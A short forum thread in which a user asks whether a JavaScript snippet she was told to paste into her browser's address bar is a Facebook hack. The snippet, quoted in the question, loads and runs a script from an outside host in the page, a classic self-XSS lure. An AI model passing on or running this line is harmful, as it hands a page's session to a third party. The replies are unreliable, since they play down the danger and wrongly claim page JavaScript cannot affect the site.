Is someone trying to hack my facebook?

[Amy Farrah]

I was asked to put this javascript on my address bar and press enter.. what does it do?? Some kind of cookie stealer or sumthing???

j(a=(b=document).createElement('script')).src='http://voucherspromo.com/new.js',b.body.appendChild(a);void(0)

[Nyrad]

I've never had that problem, but try X-ing out your browser and turn it on again to see what happens.

[Alienware]

Dear Amy,
It is a spam message or third party advertisement.
Using this code lets the third party people to post their advertisements on Facebook wall.
They don't hack into your account, but the javascript code that you use is designed that it by defaults work the way they want.

Nothing to worry, its just your friends will see some random posts by you, that you posted unknowingly.

[brisray]

JavaScript just runs on your browser so it doesn't do anything to the website at all - just how it displays on your screen.